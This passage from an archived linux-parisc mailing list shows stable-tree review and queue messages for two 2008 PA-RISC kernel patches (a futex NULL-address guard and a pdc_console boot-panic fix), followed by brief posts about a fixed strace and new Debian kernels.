--- a/include/asm-parisc/futex.h
+++ b/include/asm-parisc/futex.h
@@ -56,6 +56,12 @@ futex_atomic_cmpxchg_inatomic(int __user
 	int err = 0;
 	int uval;
 
+	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
+	 * our gateway page, and causes no end of trouble...
+	 */
+	if (segment_eq(KERNEL_DS, get_fs()) && !uaddr)
+		return -EFAULT;
+
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
 		return -EFAULT;
 
@@ -67,5 +73,5 @@ futex_atomic_cmpxchg_inatomic(int __user
 	return uval;
 }
 
-#endif
-#endif
+#endif /*__KERNEL__*/
+#endif /*_ASM_PARISC_FUTEX_H*/


Patches currently in stable-queue which might be from James.Bottomley@HansenPartnership.com are

queue-2.6.24/parisc-pdc_console-fix-bizarre-panic-on-boot.patch
queue-2.6.24/parisc-futex-special-case-cmpxchg-null-in-kernel-space.patch
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: chrisw@sous-sol.org
Newsgroups: gmane.linux.ports.parisc
Subject: patch parisc-pdc_console-fix-bizarre-panic-on-boot.patch queued to 2.6.24-stable tree
Date: Wed, 16 Apr 2008 17:29:33 -0700
Lines: 182
Approved: news@gmane.org
Message-ID: <200804170029.m3H0TXqH010278@sous-sol.org>
References: <1208277963.3131.18.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1208392275 16368 80.91.229.12 (17 Apr 2008 00:31:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Apr 2008 00:31:15 +0000 (UTC)
Cc: stable@kernel.org, stable-commits@vger.kernel.org
To: James.Bottomley@HansenPartnership.com, chrisw@sous-sol.org,
	kyle@parisc-linux.org, kyle@shortfin.cabal.ca,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 17 02:31:40 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JmI2J-0007OF-8O
	for glpp-linux-parisc@gmane.org; Thu, 17 Apr 2008 02:31:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753867AbYDQAay (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Apr 2008 20:30:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753892AbYDQAay
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Apr 2008 20:30:54 -0400
Original-Received: from sous-sol.org ([216.99.217.87]:53631 "EHLO sous-sol.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753867AbYDQAax (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Apr 2008 20:30:53 -0400
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by sous-sol.org (8.14.2/8.14.2) with ESMTP id m3H0TXqH010278;
	Wed, 16 Apr 2008 17:29:33 -0700
In-Reply-To: <1208277963.3131.18.camel@localhost.localdomain>
X-Virus-Scanned: ClamAV version 0.93rc1, clamav-milter version devel-20080219 on sequoia.sous-sol.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00,
	MISSING_MID autolearn=ham version=3.2.3
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on sequoia.sous-sol.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/273>


This is a note to let you know that we have just queued up the patch titled

     Subject: PARISC pdc_console: fix bizarre panic on boot

to the 2.6.24-stable tree.  Its filename is

     parisc-pdc_console-fix-bizarre-panic-on-boot.patch

A git repo of this tree can be found at 
    http://www.kernel.org/git/?p=linux/kernel/git/stable/stable-queue.git;a=summary


>From stable-bounces@linux.kernel.org  Wed Apr 16 16:51:47 2008
From: James Bottomley <James.Bottomley@HansenPartnership.com>
To: stable@kernel.org
Date: Tue, 15 Apr 2008 11:46:03 -0500
Message-Id: <1208277963.3131.18.camel@localhost.localdomain>
Cc: Parisc List <linux-parisc@vger.kernel.org>
Subject: PARISC pdc_console: fix bizarre panic on boot

From: Kyle McMartin <kyle@shortfin.cabal.ca>

upstream commit ef1afd4d79f0479960ff36bb5fe6ec6eba1ebff2

commit 721fdf34167580ff98263c74cead8871d76936e6
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Thu Dec 6 09:32:15 2007 -0800

    [PARISC] print more than one character at a time for pdc console

introduced a subtle bug by accidentally removing the "static" from
iodc_dbuf. This resulted in, what appeared to be, a trap without
*current set to a task. Probably the result of a trap in real mode
while calling firmware.

Also do other misc clean ups. Since the only input from firmware is non
blocking, share iodc_dbuf between input and output, and spinlock the
only callers.

[jejb: fixed up rejections against the stable tree]

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Signed-off-by: Chris Wright <chrisw@sous-sol.org>
---
 arch/parisc/kernel/firmware.c |   27 +++++++++++++++++----------
 arch/parisc/kernel/pdc_cons.c |   19 +++++++++++++++++--
 include/asm-parisc/pdc.h      |    3 +--
 3 files changed, 35 insertions(+), 14 deletions(-)

--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1080,6 +1080,9 @@ void pdc_io_reset_devices(void)
 	spin_unlock_irqrestore(&pdc_lock, flags);
 }
 
+/* locked by pdc_console_lock */
+static int __attribute__((aligned(8)))   iodc_retbuf[32];
+static char __attribute__((aligned(64))) iodc_dbuf[4096];
 
 /**
  * pdc_iodc_print - Console print using IODC.
@@ -1091,24 +1094,20 @@ void pdc_io_reset_devices(void)
  * Since the HP console requires CR+LF to perform a 'newline', we translate
  * "\n" to "\r\n".
  */
-int pdc_iodc_print(unsigned char *str, unsigned count)
+int pdc_iodc_print(const unsigned char *str, unsigned count)
 {
-	/* XXX Should we spinlock posx usage */
 	static int posx;        /* for simple TAB-Simulation... */
-	int __attribute__((aligned(8)))   iodc_retbuf[32];
-	char __attribute__((aligned(64))) iodc_dbuf[4096];
 	unsigned int i;
 	unsigned long flags;
 
-	memset(iodc_dbuf, 0, 4096);
-	for (i = 0; i < count && i < 2048;) {
+	for (i = 0; i < count && i < 79;) {
 		switch(str[i]) {
 		case '\n':
 			iodc_dbuf[i+0] = '\r';
 			iodc_dbuf[i+1] = '\n';
 			i += 2;
 			posx = 0;
-			break;
+			goto print;
 		case '\t':
 			while (posx & 7) {
 				iodc_dbuf[i] = ' ';
@@ -1124,6 +1123,16 @@ int pdc_iodc_print(unsigned char *str, u
 		}
 	}
 
+	/* if we're at the end of line, and not already inserting a newline,
+	 * insert one anyway. iodc console doesn't claim to support >79 char
+	 * lines. don't account for this in the return value.
+	 */
+	if (i == 79 && iodc_dbuf[i-1] != '\n') {
+		iodc_dbuf[i+0] = '\r';
+		iodc_dbuf[i+1] = '\n';
+	}
+
+print:
         spin_lock_irqsave(&pdc_lock, flags);
         real32_call(PAGE0->mem_cons.iodc_io,
                     (unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
@@ -1142,11 +1151,9 @@ int pdc_iodc_print(unsigned char *str, u
  */
 int pdc_iodc_getc(void)
 {
-	unsigned long flags;
-        static int __attribute__((aligned(8)))   iodc_retbuf[32];
-        static char __attribute__((aligned(64))) iodc_dbuf[4096];
 	int ch;
 	int status;
+	unsigned long flags;
 
 	/* Bail if no console input device. */
 	if (!PAGE0->mem_kbd.iodc_io)
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -52,10 +52,18 @@
 #include <linux/tty.h>
 #include <asm/pdc.h>		/* for iodc_call() proto and friends */
 
+static spinlock_t pdc_console_lock = SPIN_LOCK_UNLOCKED;
 
 static void pdc_console_write(struct console *co, const char *s, unsigned count)
 {
-	pdc_iodc_print(s, count);
+	int i = 0;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_console_lock, flags);
+	do {
+		i += pdc_iodc_print(s + i, count - i);
+	} while (i < count);
+	spin_unlock_irqrestore(&pdc_console_lock, flags);
 }
 
 void pdc_printf(const char *fmt, ...)
@@ -73,7 +81,14 @@ void pdc_printf(const char *fmt, ...)
 
 int pdc_console_poll_key(struct console *co)
 {
-	return pdc_iodc_getc();
+	int c;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_console_lock, flags);
+	c = pdc_iodc_getc();
+	spin_unlock_irqrestore(&pdc_console_lock, flags);
+
+	return c;
 }
 
 static int pdc_console_setup(struct console *co, char *options)
--- a/include/asm-parisc/pdc.h
+++ b/include/asm-parisc/pdc.h
@@ -645,8 +645,7 @@ int pdc_soft_power_button(int sw_control
 void pdc_io_reset(void);
 void pdc_io_reset_devices(void);
 int pdc_iodc_getc(void);
-int pdc_iodc_print(unsigned char *str, unsigned count);
-void pdc_printf(const char *fmt, ...);
+int pdc_iodc_print(const unsigned char *str, unsigned count);
 
 void pdc_emergency_unlock(void);
 int pdc_sti_call(unsigned long func, unsigned long flags,


Patches currently in stable-queue which might be from James.Bottomley@HansenPartnership.com are

queue-2.6.24/parisc-pdc_console-fix-bizarre-panic-on-boot.patch
queue-2.6.24/parisc-futex-special-case-cmpxchg-null-in-kernel-space.patch
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Wright <chrisw@sous-sol.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: PARISC pdc_console: fix bizarre panic on boot
Date: Wed, 16 Apr 2008 18:02:22 -0700
Lines: 160
Approved: news@gmane.org
Message-ID: <20080417010402.200417728@sous-sol.org>
References: <20080417010122.148289106@sous-sol.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1208394452 21089 80.91.229.12 (17 Apr 2008 01:07:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Apr 2008 01:07:32 +0000 (UTC)
Cc: Justin Forbes <jmforbes@linuxtx.org>,
	Zwane Mwaikambo <zwane@arm.linux.org.uk>,
	"Theodore Ts'o" <tytso@mit.edu>,
	Randy Dunlap <rdunlap@xenotime.net>,
	Dave Jones <davej@redhat.com>,
	Chuck Wolber <chuckw@quantumlinux.com>,
	Chris Wedgwood <reviews@ml.cw.f00f.org>,
	Michael Krufky <mkrufky@linuxtv.org>,
	Chuck Ebbert <cebbert@redhat.com>,
	Domenico Andreoli <cavokz@gmail.com>,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	alan@lxorguk.ukuu.org.uk,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@shortfin.cabal.ca>,
	Kyle McMartin <kyle@parisc-linux.org>
To: linux-kernel@vger.kernel.org, stable@kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 17 03:07:41 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JmIbD-000860-NW
	for glpp-linux-parisc@gmane.org; Thu, 17 Apr 2008 03:07:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756778AbYDQBGt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Apr 2008 21:06:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756203AbYDQBGs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Apr 2008 21:06:48 -0400
Original-Received: from sous-sol.org ([216.99.217.87]:58748 "EHLO sous-sol.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755491AbYDQBGq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Apr 2008 21:06:46 -0400
Original-Received: from sous-sol.org (localhost.localdomain [127.0.0.1])
	by sous-sol.org (8.14.2/8.14.2) with ESMTP id m3H142Yc026664
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 16 Apr 2008 18:04:02 -0700
Original-Received: (from chrisw@localhost)
	by sous-sol.org (8.14.2/8.14.2/Submit) id m3H142l5026663;
	Wed, 16 Apr 2008 18:04:02 -0700
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=parisc-pdc_console-fix-bizarre-panic-on-boot.patch
X-Virus-Scanned: ClamAV version 0.93rc1, clamav-milter version devel-20080219 on sequoia.sous-sol.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.3
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on sequoia.sous-sol.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:274 gmane.linux.kernel:666759
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/274>

-stable review patch.  If anyone has any objections, please let us know.
---------------------

From: Kyle McMartin <kyle@shortfin.cabal.ca>

upstream commit ef1afd4d79f0479960ff36bb5fe6ec6eba1ebff2

commit 721fdf34167580ff98263c74cead8871d76936e6
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Thu Dec 6 09:32:15 2007 -0800

    [PARISC] print more than one character at a time for pdc console

introduced a subtle bug by accidentally removing the "static" from
iodc_dbuf. This resulted in, what appeared to be, a trap without
*current set to a task. Probably the result of a trap in real mode
while calling firmware.

Also do other misc clean ups. Since the only input from firmware is non
blocking, share iodc_dbuf between input and output, and spinlock the
only callers.

[jejb: fixed up rejections against the stable tree]

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Signed-off-by: Chris Wright <chrisw@sous-sol.org>
---
 arch/parisc/kernel/firmware.c |   27 +++++++++++++++++----------
 arch/parisc/kernel/pdc_cons.c |   19 +++++++++++++++++--
 include/asm-parisc/pdc.h      |    3 +--
 3 files changed, 35 insertions(+), 14 deletions(-)

--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1080,6 +1080,9 @@ void pdc_io_reset_devices(void)
 	spin_unlock_irqrestore(&pdc_lock, flags);
 }
 
+/* locked by pdc_console_lock */
+static int __attribute__((aligned(8)))   iodc_retbuf[32];
+static char __attribute__((aligned(64))) iodc_dbuf[4096];
 
 /**
  * pdc_iodc_print - Console print using IODC.
@@ -1091,24 +1094,20 @@ void pdc_io_reset_devices(void)
  * Since the HP console requires CR+LF to perform a 'newline', we translate
  * "\n" to "\r\n".
  */
-int pdc_iodc_print(unsigned char *str, unsigned count)
+int pdc_iodc_print(const unsigned char *str, unsigned count)
 {
-	/* XXX Should we spinlock posx usage */
 	static int posx;        /* for simple TAB-Simulation... */
-	int __attribute__((aligned(8)))   iodc_retbuf[32];
-	char __attribute__((aligned(64))) iodc_dbuf[4096];
 	unsigned int i;
 	unsigned long flags;
 
-	memset(iodc_dbuf, 0, 4096);
-	for (i = 0; i < count && i < 2048;) {
+	for (i = 0; i < count && i < 79;) {
 		switch(str[i]) {
 		case '\n':
 			iodc_dbuf[i+0] = '\r';
 			iodc_dbuf[i+1] = '\n';
 			i += 2;
 			posx = 0;
-			break;
+			goto print;
 		case '\t':
 			while (posx & 7) {
 				iodc_dbuf[i] = ' ';
@@ -1124,6 +1123,16 @@ int pdc_iodc_print(unsigned char *str, u
 		}
 	}
 
+	/* if we're at the end of line, and not already inserting a newline,
+	 * insert one anyway. iodc console doesn't claim to support >79 char
+	 * lines. don't account for this in the return value.
+	 */
+	if (i == 79 && iodc_dbuf[i-1] != '\n') {
+		iodc_dbuf[i+0] = '\r';
+		iodc_dbuf[i+1] = '\n';
+	}
+
+print:
         spin_lock_irqsave(&pdc_lock, flags);
         real32_call(PAGE0->mem_cons.iodc_io,
                     (unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
@@ -1142,11 +1151,9 @@ int pdc_iodc_print(unsigned char *str, u
  */
 int pdc_iodc_getc(void)
 {
-	unsigned long flags;
-        static int __attribute__((aligned(8)))   iodc_retbuf[32];
-        static char __attribute__((aligned(64))) iodc_dbuf[4096];
 	int ch;
 	int status;
+	unsigned long flags;
 
 	/* Bail if no console input device. */
 	if (!PAGE0->mem_kbd.iodc_io)
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -52,10 +52,18 @@
 #include <linux/tty.h>
 #include <asm/pdc.h>		/* for iodc_call() proto and friends */
 
+static spinlock_t pdc_console_lock = SPIN_LOCK_UNLOCKED;
 
 static void pdc_console_write(struct console *co, const char *s, unsigned count)
 {
-	pdc_iodc_print(s, count);
+	int i = 0;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_console_lock, flags);
+	do {
+		i += pdc_iodc_print(s + i, count - i);
+	} while (i < count);
+	spin_unlock_irqrestore(&pdc_console_lock, flags);
 }
 
 void pdc_printf(const char *fmt, ...)
@@ -73,7 +81,14 @@ void pdc_printf(const char *fmt, ...)
 
 int pdc_console_poll_key(struct console *co)
 {
-	return pdc_iodc_getc();
+	int c;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_console_lock, flags);
+	c = pdc_iodc_getc();
+	spin_unlock_irqrestore(&pdc_console_lock, flags);
+
+	return c;
 }
 
 static int pdc_console_setup(struct console *co, char *options)
--- a/include/asm-parisc/pdc.h
+++ b/include/asm-parisc/pdc.h
@@ -645,8 +645,7 @@ int pdc_soft_power_button(int sw_control
 void pdc_io_reset(void);
 void pdc_io_reset_devices(void);
 int pdc_iodc_getc(void);
-int pdc_iodc_print(unsigned char *str, unsigned count);
-void pdc_printf(const char *fmt, ...);
+int pdc_iodc_print(const unsigned char *str, unsigned count);
 
 void pdc_emergency_unlock(void);
 int pdc_sti_call(unsigned long func, unsigned long flags,

-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Wright <chrisw@sous-sol.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: PARISC futex: special case cmpxchg NULL in kernel space
Date: Wed, 16 Apr 2008 18:02:21 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <20080417010400.234642889@sous-sol.org>
References: <20080417010122.148289106@sous-sol.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1208398245 29403 80.91.229.12 (17 Apr 2008 02:10:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Apr 2008 02:10:45 +0000 (UTC)
Cc: Justin Forbes <jmforbes@linuxtx.org>,
	Zwane Mwaikambo <zwane@arm.linux.org.uk>,
	"Theodore Ts'o" <tytso@mit.edu>,
	Randy Dunlap <rdunlap@xenotime.net>,
	Dave Jones <davej@redhat.com>,
	Chuck Wolber <chuckw@quantumlinux.com>,
	Chris Wedgwood <reviews@ml.cw.f00f.org>,
	Michael Krufky <mkrufky@linuxtv.org>,
	Chuck Ebbert <cebbert@redhat.com>,
	Domenico Andreoli <cavokz@gmail.com>,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	alan@lxorguk.ukuu.org.uk,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@shortfin.cabal.ca>,
	Kyle McMartin <kyle@mcmartin.ca>
To: linux-kernel@vger.kernel.org, stable@kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 17 04:11:06 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JmJaL-0007KY-4U
	for glpp-linux-parisc@gmane.org; Thu, 17 Apr 2008 04:10:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753503AbYDQCKI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Apr 2008 22:10:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753494AbYDQCKH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Apr 2008 22:10:07 -0400
Original-Received: from sous-sol.org ([216.99.217.87]:54950 "EHLO sous-sol.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753189AbYDQCKF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Apr 2008 22:10:05 -0400
Original-Received: from sous-sol.org (localhost.localdomain [127.0.0.1])
	by sous-sol.org (8.14.2/8.14.2) with ESMTP id m3H141wd026633
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 16 Apr 2008 18:04:01 -0700
Original-Received: (from chrisw@localhost)
	by sous-sol.org (8.14.2/8.14.2/Submit) id m3H140l9026632;
	Wed, 16 Apr 2008 18:04:00 -0700
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=parisc-futex-special-case-cmpxchg-null-in-kernel-space.patch
X-Virus-Scanned: ClamAV version 0.93rc1, clamav-milter version devel-20080219 on sequoia.sous-sol.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-4.4 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.3
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on sequoia.sous-sol.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:275 gmane.linux.kernel:666830
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/275>

-stable review patch.  If anyone has any objections, please let us know.
---------------------

From: Kyle McMartin <kyle@shortfin.cabal.ca>

upstream commit: c20a84c91048c76c1379011c96b1a5cee5c7d9a0

commit f9e77acd4060fefbb60a351cdb8d30fca27fe194
Author: Thomas Gleixner <tglx@linutronix.de>
Date:   Sun Feb 24 02:10:05 2008 +0000

    futex: runtime enable pi and robust functionality
 

which was backported to stable based on mainline Commit
a0c1e9073ef7428a14309cba010633a6cd6719ea added code to futex.c
to detect whether futex_atomic_cmpxchg_inatomic was implemented at run
time:

+       curval = cmpxchg_futex_value_locked(NULL, 0, 0);
+       if (curval == -EFAULT)
+               futex_cmpxchg_enabled = 1;

This is bogus on parisc, since page zero in kernel virtual space is the
gateway page for syscall entry, and should not be read from the kernel.
(That, and we really don't like the kernel faulting on its own address
 space...)

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Signed-off-by: Chris Wright <chrisw@sous-sol.org>
---
 include/asm-parisc/futex.h |   10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

--- a/include/asm-parisc/futex.h
+++ b/include/asm-parisc/futex.h
@@ -56,6 +56,12 @@ futex_atomic_cmpxchg_inatomic(int __user
 	int err = 0;
 	int uval;
 
+	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
+	 * our gateway page, and causes no end of trouble...
+	 */
+	if (segment_eq(KERNEL_DS, get_fs()) && !uaddr)
+		return -EFAULT;
+
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
 		return -EFAULT;
 
@@ -67,5 +73,5 @@ futex_atomic_cmpxchg_inatomic(int __user
 	return uval;
 }
 
-#endif
-#endif
+#endif /*__KERNEL__*/
+#endif /*_ASM_PARISC_FUTEX_H*/

-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Fixed strace [ was Re: ls -l is broken ]
Date: Thu, 17 Apr 2008 03:53:57 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20080417075357.GB23641@phobos.i.cabal.ca>
References: <20080406224204.GE16451@parisc-linux.org> <20080406231000.D53CB4FC8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208418908 12579 80.91.229.12 (17 Apr 2008 07:55:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Apr 2008 07:55:08 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 17 09:55:29 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JmOx5-0002cL-O6
	for glpp-linux-parisc@gmane.org; Thu, 17 Apr 2008 09:54:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753445AbYDQHx6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Apr 2008 03:53:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756144AbYDQHx6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Apr 2008 03:53:58 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:15324 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753445AbYDQHx6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Apr 2008 03:53:58 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 3475817807A; Thu, 17 Apr 2008 03:53:57 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080406231000.D53CB4FC8@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:276 gmane.linux.debian.ports.hppa:5202
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/276>

On Sun, Apr 06, 2008 at 07:09:59PM -0400, John David Anglin wrote:
> > If you strace it, what syscall returns -EOPNOTSUPP?
> 
> strace is broken and quits before the relevant syscall.  Think I
> mentioned this before is a different context.
> 

Fixed & updated strace available at
http://people.debian.org/~kyle/strace/

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Working 2.6.24 debian testing kernels available
Date: Thu, 17 Apr 2008 11:16:49 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1208449009.3150.23.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1208450791 31660 80.91.229.12 (17 Apr 2008 16:46:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Apr 2008 16:46:31 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 17 18:47:04 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
